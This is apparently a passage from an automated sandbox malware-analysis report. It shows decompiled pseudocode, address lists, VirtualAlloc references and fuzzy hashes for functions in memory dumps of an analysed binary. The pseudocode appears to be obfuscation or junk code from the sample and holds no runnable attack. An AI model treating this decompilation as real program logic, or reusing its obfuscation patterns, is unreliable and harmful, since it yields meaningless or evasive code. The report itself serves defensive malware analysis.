					goto L62;
				}
				if(_t58 > 0) {
					goto L63;
				}
				if(_t58 > 0) {
					goto L64;
				}
				if(_t58 > 0) {
					goto L65;
				}
				if(_t58 > 0) {
					goto L66;
				}
				if(_t58 > 0) {
					goto L67;
				}
				if(_t58 > 0) {
					goto L68;
				}
				_t6 = _t6 - 1 + 1;
				asm("paddw mm5, mm1");
				asm("fsincos");
				goto L47;
			}

0x00402db7
0x00402db9
0x00402dbc
0x00402e35
0x00402e36
0x00402e37
0x00402e37
0x00402e38
0x00402e39
0x00402e39
0x00402e3a
0x00402e3b
0x00402e3b
0x00402e3c
0x00402e3d
0x00402e3d
0x00402e3e
0x00402e3f
0x00402e3f
0x00402e40
0x00402e41
0x00402e41
0x00402e42
0x00402e43
0x00402e43
0x00402e44
0x00402e45
0x00402e45
0x00402e46
0x00402e47
0x00402e47
0x00402e48
0x00402e49
0x00402e49
0x00402e4a
0x00402e4b
0x00402e4b
0x00402e4c
0x00402e4d
0x00402e4e
0x00402e4f
0x00402e4f
0x00402e50
0x00402e51
0x00402e51
0x00402e53
0x00402e53
0x00402e55
0x00402e55
0x00402e57
0x00402e57
0x00402ea8
0x00402ea9
0x00402ea9
0x00402eaa
0x00402eac
0x00402ead
0x00402ef5
0x00402ef6
0x00402ef7
0x00402ef8
0x00402efa
0x00402f42
0x00402f43
0x00402f46
0x00402f8e
0x00402f8f
0x00402f91
0x00402f94
0x00402f97
0x00402fdb
0x00402fdb
0x00402fe4
0x00402fe5
0x00402fea
0x0040303f
0x00403041
0x00403086
0x00403087
0x00403088
0x0040308c
0x004030db
0x004030dd
0x00403122
0x00403122
0x00403124
0x0040312a
0x0040312c
0x0040312c
0x00403122
0x00402dbe
0x00000000
0x00000000
0x00402dc0
0x00000000
0x00000000
0x00402dc2
0x00000000
0x00000000
0x00402dc4
0x00000000
0x00000000
0x00402dc6
0x00000000
0x00000000
0x00402dc8
0x00000000
0x00000000
0x00402dca
0x00000000
0x00000000
0x00402dcc
0x00000000
0x00000000
0x00402dce
0x00000000
0x00000000
0x00402dd0
0x00000000
0x00000000
0x00402dd2
0x00000000
0x00000000
0x00402dd4
0x00000000
0x00000000
0x00402dd6
0x00000000
0x00000000
0x00402dd8
0x00000000
0x00000000
0x00402dda
0x00000000
0x00000000
0x00402ddc
0x00000000
0x00000000
0x00402dde
0x00000000
0x00000000
0x00402de0
0x00402e59
0x00402e59
0x00402de2
0x00402e5b
0x00402e5d
0x00402e5d
0x00402e5e
0x00402e5f
0x00402e5f
0x00402e60
0x00402e61
0x00402e61
0x00402e62
0x00402e63
0x00402e63
0x00402e64
0x00402e65
0x00402e65
0x00402e66
0x00402e67
0x00402e67
0x00402e68
0x00402e69
0x00402e69
0x00402e6a
0x00402e6b
0x00402e6b
0x00402e6c
0x00402e6d
0x00402e6d
0x00402e6e
0x00402e6f
0x00402e6f
0x00402e70
0x00402e71
0x00402e71
0x00402e72
0x00402e73
0x00402e73
0x00402e74
0x00402e75
0x00402e75
0x00402e76
0x00402e77
0x00402e78
0x00402e79
0x00402e7a
0x00402e7b
0x00402e7c
0x00402e7d
0x00402e7e
0x00402e7f
0x00402e80
0x00402e81
0x00402e82
0x00402e83
0x00402e84
0x00402e85
0x00402e86
0x00402e87
0x00402e88
0x00402e89
0x00402e8a
0x00402e8b
0x00402e8c
0x00402e8d
0x00402e8e
0x00402e8f
0x00402e90
0x00402e91
0x00402e92
0x00402e93
0x00402e94
0x00402e95
0x00402e96
0x00402e97
0x00402e98
0x00402e99
0x00402e9a
0x00402e9b
0x00402e9c
0x00402e9d
0x00402e9e
0x00402e9f
0x00402ea0
0x00402ea1
0x00402ea2
0x00402ea3
0x00402ea4
0x00402ea5
0x00402ea6
0x00402ea7
0x00000000
0x00402ea7
0x00402de4
0x00000000
0x00000000
0x00402de6
0x00000000
0x00000000
0x00402de8
0x00000000
0x00000000
0x00402dea
0x00000000
0x00000000
0x00402dec
0x00000000
0x00000000
0x00402dee
0x00000000
0x00000000
0x00402df0
0x00000000
0x00000000
0x00402df2
0x00000000
0x00000000
0x00402df4
0x00000000
0x00000000
0x00402df6
0x00000000
0x00000000
0x00402df8
0x00000000
0x00000000
0x00402dfa
0x00000000
0x00000000
0x00402dfc
0x00000000
0x00000000
0x00402e00
0x00402e01
0x00402e04
0x00000000

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d056568e66310f1c7d23bec788ec3dbdcb8c8e99876151112b9240f83a99d98b
Instruction ID: 904a61ca5da046cceb7413c8d5593bfb119cbc53a252c4da55458cb039c44858
Opcode Fuzzy Hash: d056568e66310f1c7d23bec788ec3dbdcb8c8e99876151112b9240f83a99d98b
Instruction Fuzzy Hash: 4271D1519BDA84C5E2263920C68C27AF94CE653BE3334CA7B4553B42E1B67E0F4B20CD

Uniqueness

Uniqueness Score: -1.00%

Function 00403092, Relevance: 1.6, APIs: 1, Instructions: 361
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00403092() {
				signed char _t8;
				void* _t20;
				void* _t25;
				void* _t36;
				intOrPtr* _t40;
				signed int _t41;

				_t41 = _t8 & 0x0000002f;
				_push(_t20);
				if(_t41 != 0) {
					_push(_t25);
					_push(_t25);
					L34:
					_push(_t25);
					_push(_t25);
					L35:
					_push(_t25);
					_push(_t25);
					L36:
					_push(_t25);
					_push(_t25);
					L37:
					_push(_t25);
					_push(_t25);
					L38:
					_push(_t25);
					_push(_t25);
					L39:
					_push(_t25);
					_push(_t25);
					L40:
					_push(_t25);
					_push(_t25);
					L41:
					_push(_t25);
					_push(_t25);
					L42:
					_push(_t25);
					_push(_t25);
					L43:
					_push(_t25);
					_push(_t25);
					L44:
					asm("cld");
					_t25 = _t25 + 0x5b0;
					L45:
					 *(_t8 - 0x3fffffb) =  *(_t8 - 0x3fffffb) << 0xf;
					L46:
					_t8 = _t8 + 0xffc0000;
					L47:
					_t8 = _t8 + _t20;
					L48:
					asm("emms");
					L49:
					asm("fprem");
				}
				if(_t41 != 0) {
					goto L34;
				}
				if(_t41 != 0) {
					goto L35;
				}
				if(_t41 != 0) {
					goto L36;
				}
				if(_t41 != 0) {
					goto L37;
				}
				if(_t41 != 0) {
					goto L38;
				}
				if(_t41 != 0) {
					goto L39;
				}
				if(_t41 != 0) {
					goto L40;
				}
				if(_t41 != 0) {
					goto L41;
				}
				if(_t41 != 0) {
					goto L42;
				}
				if(_t41 != 0) {
					goto L43;
				}
				if(_t41 != 0) {
					goto L44;
				}
				if(_t41 != 0) {
					goto L45;
				}
				if(_t41 != 0) {
					goto L46;
				}
				if(_t41 != 0) {
					goto L47;
				}
				if(_t41 != 0) {
					goto L48;
				}
				if(_t41 != 0) {
					goto L49;
				}
				if(_t41 != 0) {
					L65:
					asm("f2xm1");
					asm("fxam");
					asm("psllw xmm1, 0xeb");
					asm("fsubp st5, st0");
					asm("fsubp st0, st0");
					asm("fabs");
					asm("pcmpgtw mm5, mm7");
					asm("pcmpeqd mm6, mm1");
					asm("fcos");
					asm("paddsb mm2, mm6");
					_push(0x41);
					asm("cld");
					asm("wait");
					 *_t40 =  *_t40 - 1;
					asm("fsubrp st3, st0");
					asm("paddw xmm0, xmm1");
					asm("pmulhw mm5, mm6");
					asm("fsubp st0, st0");
					_push(0x1001);
					asm("fldln2");
					asm("emms");
					asm("cld");
					 *_t40 =  *_t40 - 1;
					asm("f2xm1");
					while(1) {
						asm("cld");
						asm("fld1");
						asm("psllw xmm1, 0xeb");
						 *((intOrPtr*)(__ebx - 0x74747475)) =  *((intOrPtr*)(__ebx + 0x48fc8b8b));
					}
				}
				if(_t41 != 0) {
					asm("retf 0xaddf");
					L53:
					asm("lodsd");
					asm("bound esp, [ebx-0x5c5c5c5d]");
					L54:
					 *0xa3a3a3a3 = _t8;
					L55:
					 *0xa3a3a3a3 = _t8;
					L56:
					 *0xa3a3a3a3 = _t8;
					L57:
					 *0xa3a3a3a3 = _t8;
					L58:
					 *0xa3a3a3a3 = _t8;
					L59:
					 *0xa3a3a3a3 = _t8;
					L60:
					 *0xa3a3a3a3 = _t8;
					L61:
					 *0xa3a3a3a3 = _t8;
					L62:
					 *0xa3a3a3a3 = _t8;
					L63:
					 *0xa3a3a3a3 = _t8;
					L64:
					 *0xa3a3a3a3 = _t8;
					 *0xa3a3a3a3 = _t8;
					 *0xa3a3a3a3 = _t8;
					 *0xa3a3a3a3 = _t8;
					 *0xa3a3a3a3 = _t8;
					 *0xa3a3a3a3 = _t8;
					 *0xa3a3a3a3 = _t8;
					 *0xa3a3a3a3 = _t8;
					goto L65;
				}
				if(_t41 != 0) {
					goto L53;
				}
				if(_t41 != 0) {
					goto L54;
				}
				if(_t41 != 0) {
					goto L55;
				}
				if(_t41 != 0) {
					goto L56;
				}
				if(_t41 != 0) {
					goto L57;
				}
				if(_t41 != 0) {
					goto L58;
				}
				if(_t41 != 0) {
					goto L59;
				}
				if(_t41 != 0) {
					goto L60;
				}
				if(_t41 != 0) {
					goto L61;
				}
				if(_t41 != 0) {
					goto L62;
				}
				if(_t41 != 0) {
					goto L63;
				}
				if(_t41 != 0) {
					goto L64;
				}
				_t25 = _t25 + 0x1074;
				_t36 = _t36 - 1 + 1;
				asm("fsubp st0, st0");
				asm("packuswb mm4, mm0");
				goto L44;
			}

0x00403092
0x00403094
0x00403095
0x0040310c
0x0040310d
0x0040310e
0x0040310e
0x0040310f
0x00403110
0x00403110
0x00403111
0x00403112
0x00403112
0x00403113
0x00403114
0x00403114
0x00403115
0x00403116
0x00403116
0x00403117
0x00403118
0x00403118
0x00403119
0x0040311a
0x0040311a
0x0040311b
0x0040311c
0x0040311c
0x0040311d
0x0040311e
0x0040311e
0x0040311f
0x00403120
0x00403120
0x00403121
0x00403122
0x00403122
0x00403123
0x00403124
0x00403124
0x00403126
0x00403126
0x00403128
0x00403128
0x0040312a
0x0040312a
0x0040312c
0x0040312c
0x0040312c
0x00403097
0x00000000
0x00000000
0x00403099
0x00000000
0x00000000
0x0040309b
0x00000000
0x00000000
0x0040309d
0x00000000
0x00000000
0x0040309f
0x00000000
0x00000000
0x004030a1
0x00000000
0x00000000
0x004030a3
0x00000000
0x00000000
0x004030a5
0x00000000
0x00000000
0x004030a7
0x00000000
0x00000000
0x004030a9
0x00000000
0x00000000
0x004030ab
0x00000000
0x00000000
0x004030ad
0x00000000
0x00000000
0x004030af
0x00000000
0x00000000
0x004030b1
0x00000000
0x00000000
0x004030b3
0x00000000
0x00000000
0x004030b5
0x00000000
0x00000000
0x004030b7
0x00403170
0x00403178
0x0040317a
0x004031cc
0x004031d1
0x00403218
0x0040321a
0x00403267
0x0040326a
0x004032b8
0x004032ba
0x00403303
0x00403305
0x00403308
0x0040334b
0x0040334e
0x00403350
0x004033a2
0x004033a5
0x004033e7
0x004033ed
0x004033ef
0x00403443
0x00403444
0x00403448
0x00403489
0x00403489
0x0040348c
0x0040348e
0x00403485
0x00403485
0x00403489
0x004030b9
0x00403130
0x00403132
0x00403132
0x00403133
0x00403134
0x00403134
0x00403136
0x00403136
0x00403138
0x00403138
0x0040313a
0x0040313a
0x0040313c
0x0040313c
0x0040313e
0x0040313e
0x00403140
0x00403140
0x00403142
0x00403142
0x00403144
0x00403144
0x00403146
0x00403146
0x00403148
0x00403148
0x0040314d
0x00403152
0x00403157
0x0040315c
0x00403161
0x00403166
0x0040316b
0x00000000
0x0040316b
0x004030bb
0x00000000
0x00000000
0x004030bd
0x00000000
0x00000000
0x004030bf
0x00000000
0x00000000
0x004030c1
0x00000000
0x00000000
0x004030c3
0x00000000
0x00000000
0x004030c5
0x00000000
0x00000000
0x004030c7
0x00000000
0x00000000
0x004030c9
0x00000000
0x00000000
0x004030cb
0x00000000
0x00000000
0x004030cd
0x00000000
0x00000000
0x004030cf
0x00000000
0x00000000
0x004030d1
0x00000000
0x00000000
0x004030d3
0x004030da
0x004030db
0x004030dd
0x00000000

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e6d7efc6f64d428dbc53630e4da3b9e2ea73c4cf89721a98a884a4ab4f9654c
Instruction ID: 8660bee9247fe8a6a644d082ab5f42c33564899d1b555ee6c3a97dcdf8e039c5
Opcode Fuzzy Hash: 2e6d7efc6f64d428dbc53630e4da3b9e2ea73c4cf89721a98a884a4ab4f9654c
Instruction Fuzzy Hash: 8B616F72D3D6548EC6259E20C4446722D9CE7AF357B308A7B8593B92E1F63E0F47248D

Uniqueness

Uniqueness Score: -1.00%

Function 00402F00, Relevance: 1.6, APIs: 1, Instructions: 318
memoryCOMMON

Download Yara Rule

C-Code - Quality: 17%

			E00402F00() {
				intOrPtr* _t6;
				void* _t8;
				void* _t22;
				void* _t23;
				void* _t28;
				void* _t31;
				void* _t116;

				_t22 = 9;
				while(1) {
					_t31 = _t28 - 1 + 1 - 1;
					asm("pcmpgtb mm5, mm3");
					asm("faddp st0, st0");
					_t28 = _t31 + 1;
					_t116 =  *_t6 - _t28;
					asm("invalid");
					asm("punpckhwd mm6, mm2");
					asm("fdecstp");
					asm("invalid");
					if(_t116 != 0) {
						_t23 = _t22 - 1;
						asm("fnop");
						asm("wait");
						asm("fclex");
						_t22 = _t23 + 1;
						asm("clc");
						_t6 = _t6 - 1;
						asm("fdivrp st5, st0");
						asm("fscale");
						continue;
					}
					asm("cld");
					asm("psrlw xmm4, 0x52");
					asm("fscale");
					asm("fcom st0, st3");
					asm("fldl2t");
					_t8 = _t6 - 1 + 1;
					asm("clc");
					asm("paddw xmm0, xmm1");
					asm("punpcklbw mm3, mm5");
					asm("fsubp st0, st0");
					asm("packuswb mm4, mm0");
					while(1) {
						asm("cld");
						 *(_t8 - 0x3fffffb) =  *(_t8 - 0x3fffffb) << 0xf;
						asm("emms");
						asm("fprem");
					}
				}
			}

0x00402f00
0x00402f40
0x00402f42
0x00402f43
0x00402f46
0x00402f8e
0x00402f8f
0x00402f91
0x00402f94
0x00402f97
0x00402fdb
0x00402fde
0x00402ea9
0x00402eaa
0x00402eac
0x00402ead
0x00402ef5
0x00402ef6
0x00402ef7
0x00402ef8
0x00402efa
0x00000000
0x00402efa
0x00402fe4
0x00402fe5
0x00402fea
0x0040303f
0x00403041
0x00403086
0x00403087
0x00403088
0x0040308c
0x004030db
0x004030dd
0x00403122
0x00403122
0x00403124
0x0040312a
0x0040312c
0x0040312c
0x00403122

APIs

VirtualAlloc.KERNELBASE(00000000,0000B000), ref: 00403634

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ae5bb7f9f7243f1b7f554ef4474257b292c7a0c4857593907ac65e2b8b0ca605
Instruction ID: a7a3a692ed649337847bca570a140dc5ec0b51e573514790222ffbdfbc8e8339
Opcode Fuzzy Hash: ae5bb7f9f7243f1b7f554ef4474257b292c7a0c4857593907ac65e2b8b0ca605
Instruction Fuzzy Hash: E3518D92D7DA54CAD2076D20C444671698CEA97387370DE7F45A3F51E2BA3E0F4B24CA

Uniqueness

Uniqueness Score: -1.00%

Function 00402F4A, Relevance: 1.6, APIs: 1, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000B000), ref: 00403634

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a861bdd7d5289303972279931a2468d3edd959bae094b2895e41ef81004d1568
Instruction ID: 1e23796d7510d3a36fe84bbab5c5ecc4b7819a87a9754bff45ca9a3185702c83
Opcode Fuzzy Hash: a861bdd7d5289303972279931a2468d3edd959bae094b2895e41ef81004d1568
Instruction Fuzzy Hash: EF519F92D7DA54CAD2076D20C484671288CEA97397370DE7F45A3F51E2BA3E0B4B24CA

Uniqueness

Uniqueness Score: -1.00%

Function 00402FEF, Relevance: 1.6, APIs: 1, Instructions: 309memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000B000), ref: 00403634

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 022a1d9cea932eb79a8c6f6cbfdc58c576aeeac5e4a15956bb356932232853cd
Instruction ID: 909927f86fddd3263440a5963fa4ef4fe8b544896475797c4a70595cdfc2d561
Opcode Fuzzy Hash: 022a1d9cea932eb79a8c6f6cbfdc58c576aeeac5e4a15956bb356932232853cd
Instruction Fuzzy Hash: EE518E92D7DA54CAD2066D20C484671298CEB97397370DE7B45A3F51E2BA3E0F4B24CA

Uniqueness

Uniqueness Score: -1.00%

Function 0040358C, Relevance: 1.5, APIs: 1, Instructions: 285memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000B000), ref: 00403634

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 10435690707acdf80cd63620cc2d145e043bf5d0de837fffc06a31b9a79d55b6
Instruction ID: b819044a89050b9d07bd00552f70bbc8a645ebe612f58b0c6c1a7dde0c9b75a3
Opcode Fuzzy Hash: 10435690707acdf80cd63620cc2d145e043bf5d0de837fffc06a31b9a79d55b6
Instruction Fuzzy Hash: E741F15193A9547AC12EAC5384982356C4CD5A238F761BE3F4592F13F1AA3F4B0B209C

Uniqueness

Uniqueness Score: -1.00%

Function 004030E4, Relevance: 1.5, APIs: 1, Instructions: 281memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000B000), ref: 00403634

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b383bc66a102594081b5825f3e18f9dab5371c4a71b9f66f1fbdf693a87cbba0
Instruction ID: 8a1b5480f06712b6861c2af057da04493fb1cebd794fa8095b64b2503f7f2dae
Opcode Fuzzy Hash: b383bc66a102594081b5825f3e18f9dab5371c4a71b9f66f1fbdf693a87cbba0
Instruction Fuzzy Hash: 5A415C9297DA58CAD2066D20C4846712D8CEB97387370DE7B45A3F51E1FA3E0F4B24CA

Uniqueness

Uniqueness Score: -1.00%

Function 00402F9B, Relevance: 1.5, APIs: 1, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5afa5bf82bdcd28a37f5adf657c6a68a90b27ac946d4b60d0e004979da359b5
Instruction ID: d9b838ef4c1f81b75329a04d83cb01f559e11a55d1fcbfa5b2060747ac73c704
Opcode Fuzzy Hash: c5afa5bf82bdcd28a37f5adf657c6a68a90b27ac946d4b60d0e004979da359b5
Instruction Fuzzy Hash: 59519F92D7DA54CAD2076D20C4846B12D4CEA97397370CE7B45A3F51E2BA3E0B4B24CA

Uniqueness

Uniqueness Score: -1.00%

Function 00403045, Relevance: 1.5, APIs: 1, Instructions: 261memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000B000), ref: 00403634

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 84d06f1eb77fe5d66274d3a385b7d6d5bba50aa1ee43581d559c3ec05aecfa1f
Instruction ID: 16e1001900e4d530af2e90fba0a72260f85ec5a353c996ee9906ca725c6c0081
Opcode Fuzzy Hash: 84d06f1eb77fe5d66274d3a385b7d6d5bba50aa1ee43581d559c3ec05aecfa1f
Instruction Fuzzy Hash: 90516E92D7DA58CAD2066D20C484671694CEB97387370CE7B45A3F51F2FA3E4B4B24CA

Uniqueness

Uniqueness Score: -1.00%

Function 00403221, Relevance: 1.5, APIs: 1, Instructions: 260memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000B000), ref: 00403634

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b8e43a902e399a07c83bd69887e620e7ead86024da644b9dbd62f2a11c02bccc
Instruction ID: 2e9abb29859522c9c731ca47419556ad499734538ecde6b6bbeaef218014adbc
Opcode Fuzzy Hash: b8e43a902e399a07c83bd69887e620e7ead86024da644b9dbd62f2a11c02bccc
Instruction Fuzzy Hash: 6C415C9293DA58CAD2076D2084846716D4CEA97287370DE7B49A3B51F2BA3E4B4B24C9

Uniqueness

Uniqueness Score: -1.00%

Function 004032BF, Relevance: 1.5, APIs: 1, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000B000), ref: 00403634

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 73e9e2254b6e0580d550975ee67aa7ab8e6a23a136a739e189d08dd9f9f8660c
Instruction ID: 845d88804c2bdff42c44c0587d2b5f7744d61f30ae361fa8c40a4e8e054982cd
Opcode Fuzzy Hash: 73e9e2254b6e0580d550975ee67aa7ab8e6a23a136a739e189d08dd9f9f8660c
Instruction Fuzzy Hash: 86418D8293DA58CAD2076D20C484671694CEA97393370DF3B45A3B51E2BA3E0F4B24CA

Uniqueness

Uniqueness Score: -1.00%

Function 00403270, Relevance: 1.5, APIs: 1, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 378b2fa2212c716711ac9317fdc9ec793dae5a644de6b3c13b2b4c5542c95f69
Instruction ID: e085f060ccd281b19cf85178db63766805791a635e775ef27f54ded73cfb3d49
Opcode Fuzzy Hash: 378b2fa2212c716711ac9317fdc9ec793dae5a644de6b3c13b2b4c5542c95f69
Instruction Fuzzy Hash: 77418D8293DA58CAD2076D20C4846756D4CEA97383370DF7B45A3B51E2BA3E0F4B24CA

Uniqueness

Uniqueness Score: -1.00%

Function 0040330D, Relevance: 1.5, APIs: 1, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000B000), ref: 00403634

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ffd355a9ea100b30112c0b05b4848f2dfee6158c3118e0de3dc1494eab7c99c1
Instruction ID: acc89cfe959ee8ac93174ffd321f978c9f76d9536557e217daff9bdac7d70f04
Opcode Fuzzy Hash: ffd355a9ea100b30112c0b05b4848f2dfee6158c3118e0de3dc1494eab7c99c1
Instruction Fuzzy Hash: 72418B82A3DA58CAD2076D20C884671694CEA97397370DF3B4593B51E2FA3E4F4B24C9

Uniqueness

Uniqueness Score: -1.00%

Function 004033F3, Relevance: 1.5, APIs: 1, Instructions: 234memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000B000), ref: 00403634

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: adce90d4cb9e8a73f904ba4a726ecf0d7bc52afee5bfa0a6e9acb762ce9a2cc7
Instruction ID: 696fee358e5ce1bab56d12822086ea74fd795cb12c8a30299ec50674ea5ad87a
Opcode Fuzzy Hash: adce90d4cb9e8a73f904ba4a726ecf0d7bc52afee5bfa0a6e9acb762ce9a2cc7
Instruction Fuzzy Hash: 28316E8293DA588BC2076D2088806752D4CEA97297370DF7B45A3F51E2FA3E4F4B34D9

Uniqueness

Uniqueness Score: -1.00%

Function 004033A9, Relevance: 1.5, APIs: 1, Instructions: 222memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000B000), ref: 00403634

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 887989ed7fe7b1223a5d75909e5ee8741ef3755c2d52aae427d4031d1fa438f1
Instruction ID: cadbfa26e3bf49a40afb9c002336a3d01508f0de49f47e0b6d0ee55dd64f1cf2
Opcode Fuzzy Hash: 887989ed7fe7b1223a5d75909e5ee8741ef3755c2d52aae427d4031d1fa438f1
Instruction Fuzzy Hash: D1314C8293DA588AD2076D2088446752D4CEA97397370DF7B45A3B61E2FA3E4F4B34C9

Uniqueness

Uniqueness Score: -1.00%

Function 00403359, Relevance: 1.5, APIs: 1, Instructions: 206memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000B000), ref: 00403634

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 179566e5c1f767da79aac0cb89ceacfa0828a55e759b06682738bb150248ecca
Instruction ID: 0222f5cf4a79adf473e875d74cfe53c293fd69cb1c041d86ff7a2074b67b659b
